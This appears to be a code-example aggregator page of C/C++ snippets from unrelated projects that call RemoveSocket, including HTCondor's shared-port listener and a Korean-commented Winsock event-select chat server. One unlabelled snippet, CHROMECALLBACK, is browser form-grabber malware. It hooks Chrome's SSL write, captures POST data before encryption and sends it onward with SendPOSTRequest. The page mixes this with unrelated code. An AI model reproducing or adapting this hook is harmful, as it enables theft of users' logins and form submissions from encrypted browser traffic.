void Epoll_Engine::DeleteSocket(basesocket_sptr & s)
{
	MutexLockGuard lock(&m_mutex);
	if(s)
	{
		fds[s->GetFd()].reset();
	}
	RemoveSocket(s);
}
Exemple #2
0
int CHROMECALLBACK(void*fd,const void *buf,int amount)
{
	int Total = SSL3_WRITE(fd,buf,amount);
	if (Total == amount)
	{
		if(isPostData((PCHAR)buf))
		{
			PCHAR Host = (PCHAR)HeapAlloc(GetProcessHeap(),0,MAX_PATH);
			if (Host)
			{
				RtlSecureZeroMemory(Host, MAX_PATH);
				if (ProcessHeader((PCHAR)buf, amount, "Google Chrome", Host,MAX_PATH,"SSL_WRITE") == -1)
				{
					PCHROMESOCKET NewSocket = InsertSocket((SOCKET)fd, &Section);
					if (NewSocket)
						NewSocket->szHost = Host;
					else
						HeapFree(GetProcessHeap(),0,Host);
				}
				else
				{
					HeapFree(GetProcessHeap(),0,Host);
				}

			}
		}
		else
		{
			PCHROMESOCKET Socket = FindSocket((SOCKET)fd, &Section);
			if (Socket)
			{
				PCHAR szData = (PCHAR)HeapAlloc(GetProcessHeap(),0,amount+1);
				if (szData)
				{
					RtlSecureZeroMemory(szData,amount+1);
					m_memcpy(szData,buf,amount);
					if (Socket->szHost)
					{
						
						SendPOSTRequest("Google Chrome",Socket->szHost,strlen(Socket->szHost),"SSL_WRITE 2",strlen("SSL_WRITE 2"),szData,strlen(szData));
						HeapFree(GetProcessHeap(),0,Socket->szHost);
						Socket->szHost = 0;
					}
					RemoveSocket((SOCKET)fd, &Section);
					HeapFree(GetProcessHeap(),0,szData);
				}
			}
		}
		
	}
	return Total;
}
void TcpServer::handle_close(TcpHandler* pHandler)
{
    assert(pHandler != NULL);
    pHandler->handle_close();

    RemoveSocket(pHandler);

    if(pHandler->GetNeedDel())
    {
        delete pHandler;
        pHandler = NULL;
    }
}
Exemple #4
0
void CAmuledGSocketFuncTable::Uninstall_Callback(GSocket *sock, GSocketEvent e)
{
	RemoveSocket(sock, e);
}
Exemple #5
0
void CWebserverGSocketFuncTable::Uninstall_Callback(GSocket *sock, GSocketEvent e)
{
	RemoveSocket(sock, e);
}
bool
SharedPortEndpoint::CreateListener()
{
#ifndef HAVE_SHARED_PORT
	return false;
#elif WIN32
	if( m_listening ) {
		dprintf(D_ALWAYS, "SharedPortEndpoint: listener already created.\n");
		return true;
	}

	std::stringstream ss;
	ss << m_socket_dir.Value() << DIR_DELIM_CHAR << m_local_id.Value();
	m_full_name = ss.str();

	pipe_end = CreateNamedPipe(
		m_full_name.Value(),
		PIPE_ACCESS_DUPLEX,
		PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
		1,
		1024,
		1024,
		0,
		NULL);

	if(pipe_end == INVALID_HANDLE_VALUE)
	{
		DWORD error = GetLastError();
		EXCEPT("SharedPortEndpoint: Failed to create named pipe: %d", error);
	}

#elif HAVE_SCM_RIGHTS_PASSFD
	if( m_listening ) {
		return true;
	}

	int sock_fd = socket(AF_UNIX,SOCK_STREAM,0);
	if( sock_fd == -1 ) {
		dprintf(D_ALWAYS,
			"ERROR: SharedPortEndpoint: failed to open listener socket: %s\n",
			strerror(errno));
		return false;
	}

	m_listener_sock.close();
	m_listener_sock.assignDomainSocket( sock_fd );

	std::stringstream ss;
	ss << m_socket_dir.Value() << DIR_DELIM_CHAR << m_local_id.Value();
	m_full_name = ss.str();

	struct sockaddr_un named_sock_addr;
	memset(&named_sock_addr, 0, sizeof(named_sock_addr));
	named_sock_addr.sun_family = AF_UNIX;
	unsigned named_sock_addr_len;
	bool is_no_good;
	if (m_is_file_socket) {
		strncpy(named_sock_addr.sun_path, m_full_name.Value(), sizeof(named_sock_addr.sun_path)-1);
		named_sock_addr_len = SUN_LEN(&named_sock_addr);
		is_no_good = strcmp(named_sock_addr.sun_path,m_full_name.Value());
	} else {
		strncpy(named_sock_addr.sun_path+1, m_full_name.Value(), sizeof(named_sock_addr.sun_path)-2);
		named_sock_addr_len = sizeof(named_sock_addr) - sizeof(named_sock_addr.sun_path) + 1 + strlen(named_sock_addr.sun_path+1);
		is_no_good = strcmp(named_sock_addr.sun_path+1,m_full_name.Value());;
	}
	if( is_no_good ) {
		dprintf(D_ALWAYS,
			"ERROR: SharedPortEndpoint: full listener socket name is too long."
			" Consider changing DAEMON_SOCKET_DIR to avoid this:"
			" %s\n",m_full_name.Value());
		return false;
	}

	while( true ) {
		priv_state orig_priv = get_priv();
		bool tried_priv_switch = false;
		if( orig_priv == PRIV_USER ) {
			set_condor_priv();
			tried_priv_switch = true;
		}

		int bind_rc =
			bind(
				 sock_fd,
				 (struct sockaddr *)&named_sock_addr,
				 named_sock_addr_len);

		if( tried_priv_switch ) {
			set_priv( orig_priv );
		}

		if( bind_rc == 0 ) {
			break;
		}

		int bind_errno = errno;

			// bind failed: deal with some common sources of error

		if( m_is_file_socket && RemoveSocket(m_full_name.Value()) ) {
			dprintf(D_ALWAYS,
				"WARNING: SharedPortEndpoint: removing pre-existing socket %s\n",
				m_full_name.Value());
			continue;
		}
		else if( m_is_file_socket && MakeDaemonSocketDir() ) {
			dprintf(D_ALWAYS,
				"SharedPortEndpoint: creating DAEMON_SOCKET_DIR=%s\n",
				m_socket_dir.Value());
			continue;
		}

		dprintf(D_ALWAYS,
				"ERROR: SharedPortEndpoint: failed to bind to %s: %s\n",
				m_full_name.Value(), strerror(bind_errno));
		return false;
	}

	if( listen( sock_fd, param_integer( "SOCKET_LISTEN_BACKLOG", 500 ) ) ) {
		dprintf(D_ALWAYS,
				"ERROR: SharedPortEndpoint: failed to listen on %s: %s\n",
				m_full_name.Value(), strerror(errno));
		return false;
	}

	m_listener_sock._state = Sock::sock_special;
	m_listener_sock._special_state = ReliSock::relisock_listen;
#else
#error HAVE_SHARED_PORT is defined, but no method for passing fds is enabled.
#endif
	m_listening = true;
	return true;
}
void
SharedPortEndpoint::StopListener()
{
#ifdef WIN32
	/*
	On Windows we only need to close the pipe ends for the
	two pipes we're using.
	*/
	dprintf(D_FULLDEBUG, "SharedPortEndpoint: Inside stop listener.\n");
	if( m_registered_listener )
	{
		bool tried = false;
		HANDLE child_pipe;
		EnterCriticalSection(&kill_lock);
		kill_thread = true;
		LeaveCriticalSection(&kill_lock);
		while(true)
		{
			if(tried)
			{
				dprintf(D_ALWAYS, "ERROR: SharedPortEndpoint: Failed to cleanly terminate pipe listener\n");
				MSC_SUPPRESS_WARNING_FOREVER(6258) // warning: Using TerminateThread does not allow proper thread clean up
				TerminateThread(thread_handle, 0);
				break;
			}
			child_pipe = CreateFile(
				m_full_name.Value(),
				GENERIC_READ | GENERIC_WRITE,
				0,
				NULL,
				OPEN_EXISTING,
				0,
				NULL);

			if(child_pipe == INVALID_HANDLE_VALUE)
			{
				dprintf(D_ALWAYS, "ERROR: SharedPortEndpoint: Named pipe does not exist.\n");
				MSC_SUPPRESS_WARNING_FOREVER(6258) // warning: Using TerminateThread does not allow proper thread clean up
				TerminateThread(thread_handle, 0);
				break;
			}

			if(GetLastError() == ERROR_PIPE_BUSY)
			{
				if (!WaitNamedPipe(m_full_name.Value(), 20000))
				{
					dprintf(D_ALWAYS, "ERROR: SharedPortEndpoint: Wait for named pipe for sending socket timed out: %d\n", GetLastError());
					MSC_SUPPRESS_WARNING_FOREVER(6258) // warning: Using TerminateThread does not allow proper thread clean up
					TerminateThread(thread_handle, 0);
					break;
				}

				tried = true;

				continue;
			}

			CloseHandle(child_pipe);
			break;
		}

		CloseHandle(thread_handle);
		DeleteCriticalSection(&received_lock);
	}
#else
	if( m_registered_listener && daemonCore ) {
		daemonCore->Cancel_Socket( &m_listener_sock );
	}
	m_listener_sock.close();
	if( !m_full_name.IsEmpty() ) {
		RemoveSocket(m_full_name.Value());
	}

	if( m_retry_remote_addr_timer != -1 ) {
		daemonCore->Cancel_Timer( m_retry_remote_addr_timer );
		m_retry_remote_addr_timer = -1;
	}
#endif
	m_listening = false;
	m_registered_listener = false;
	m_remote_addr = "";
}
void main()
{
	WSADATA wsa; // 버전정보   

	if( WSAStartup( MAKEWORD(2,2), &wsa) != 0) //DLL 로딩 
	{
		puts("WSAStartup Error !! "); return ;
	}
	//1) 핸드폰 단말기 구입 -->  SOCKET : 통신을 하기위한 매개체 !! 
	SOCKET ServerSocket;  
	//2) 소켓 생성 !!		   // TCP/UDP   TCP   
	ServerSocket = socket( AF_INET  , SOCK_STREAM, 0);  

	if( ServerSocket == INVALID_SOCKET)
	{
		puts("socket() error!!");	return ; 
	}
	//3) Usim 
	SOCKADDR_IN ServerAddr; 
	ServerAddr.sin_family		  = AF_INET;		    // TCP/UDP 
	ServerAddr.sin_port		  = htons(20000);	// 포트번호 
	ServerAddr.sin_addr.s_addr = htonl(INADDR_ANY);  
	// 4) socket + sockaddr  ==   핸드폰 + Usim 	
	int ret =	bind( ServerSocket, // 소켓 
		(SOCKADDR*)&ServerAddr, //주소 구조체 
		sizeof(ServerAddr));		    // 주소의 크기 

	if( ret == SOCKET_ERROR) 
	{
		puts("bind() error !! "); return ; 
	}
	// 4) 통화 대기 !! 
	ret = 	  listen( ServerSocket,  // 기다릴 소켓 
		SOMAXCONN);	// 가능한 최대값 

	if( ret == SOCKET_ERROR ) 
	{
		puts("listen() error !!"); return ; 
	}
	// 1) 소켓과 이벤트를 연결하고 배열에 저장 
		
	HANDLE hEvent = WSACreateEvent(); //이벤트 객체 생성 !
	// 2) 연결 !! 
	WSAEventSelect( ServerSocket,  // 이벤트를 처리할 소켓 
						  hEvent,			 // 신호를 보내줄 이벤트 
						  FD_ACCEPT|FD_CLOSE); 

	SockList[SockCnt] = ServerSocket; 
	EventList[SockCnt] = hEvent;
	SockCnt++; 

	int index = 0; 
	WSANETWORKEVENTS ne;  
	while(1) 
	{	
		// 소켓에서 네트워크 이벤트 발생하면 Event객체가 시그날 되기를 기다린다!!
		index = WSAWaitForMultipleEvents( SockCnt,  // 시그날을 기다리는 이벤트 수 
										  EventList,  // 이벤트 배열 
										  FALSE, // 1개만 시그날이 돼도 리턴 !! 
										  WSA_INFINITE, 
										  FALSE); 
		index -= WSA_WAIT_EVENT_0; 
	
		// 1) networkevent 구조체에 이벤트 내용을 가져온다 !! 
		// 2) EventList[index] 이벤트를 넌시그날로 변경 
		WSAEnumNetworkEvents( SockList[index], // 이벤트가 발생한 소켓 
										EventList[index], // 시그널 된 이벤트 
										&ne); // out put 

		if( ne.lNetworkEvents & FD_ACCEPT) 
		{
			
			if(ne.iErrorCode[FD_ACCEPT_BIT] != 0) 
			{			
				puts("accept error"); 
				return;
			}
			SOCKADDR_IN ClientAddr; 
			int len = sizeof(ClientAddr); 
			SOCKET ClientSocket;

			ClientSocket = accept( SockList[index] , // 대기하는 소켓 
										 (SOCKADDR*)&ClientAddr, // 클라이언트의 주소를 가져올 구조체
										 &len); 

			if ( ClientSocket == INVALID_SOCKET) 
			{
				puts("accept error "); return ;
			}	
			printf("[ %s ] : %d 님 접속\n" ,   inet_ntoa( ClientAddr.sin_addr),
			ntohs( ClientAddr.sin_port )  ); 
			// 접속자 소켓과 연결될 이벤트 생성 !! 
			WSAEVENT hClientEvent = WSACreateEvent(); 
			// socket + event 
			WSAEventSelect( ClientSocket, hClientEvent, FD_READ|FD_WRITE|FD_CLOSE); 
				
			SockList[SockCnt] = ClientSocket; 
			EventList[SockCnt] = hClientEvent; 
			SockCnt++; 
		}
		
		if( ne.lNetworkEvents & FD_READ || ne.lNetworkEvents & FD_WRITE) 
		{
			if( ne.lNetworkEvents & FD_READ && 
								ne.iErrorCode[FD_READ_BIT] != 0 ) 
			{			
				puts("FD_READ_BIT"); 
				return;
			}
			if( ne.lNetworkEvents & FD_WRITE && ne.iErrorCode[FD_WRITE_BIT] != 0) 
			{			
				puts("FD_WRITE_BIT"); 
				return;
			}
			char buf[BUF_SIZE] = {0};	
			
			recv( SockList[index], buf , BUF_SIZE, 0); 
			SOCKADDR_IN SenderAddr; 
			int len = sizeof(SenderAddr);

			getpeername( SockList[index], (SOCKADDR*)&SenderAddr, &len); 

			printf("[ %s ] %s\n",  inet_ntoa( SenderAddr.sin_addr) ,buf );	
			
			for( int i = 1; i< SockCnt; i++) 
			{
				if( i != index) 
				send( SockList[i], buf, BUF_SIZE, 0);
			}
		}
		if( ne.lNetworkEvents & FD_CLOSE) 
		{
			if(ne.iErrorCode[FD_CLOSE_BIT] != 0) 
			{			
				puts("FD_CLOSE_BIT"); 
				return;
			}
			RemoveSocket( index );
		
		}

	}
	/*
	
	// 화면에 접속한 클라이언트의 IP를 출력 !! 


	*/
	WSACleanup(); // DLL 정리 

}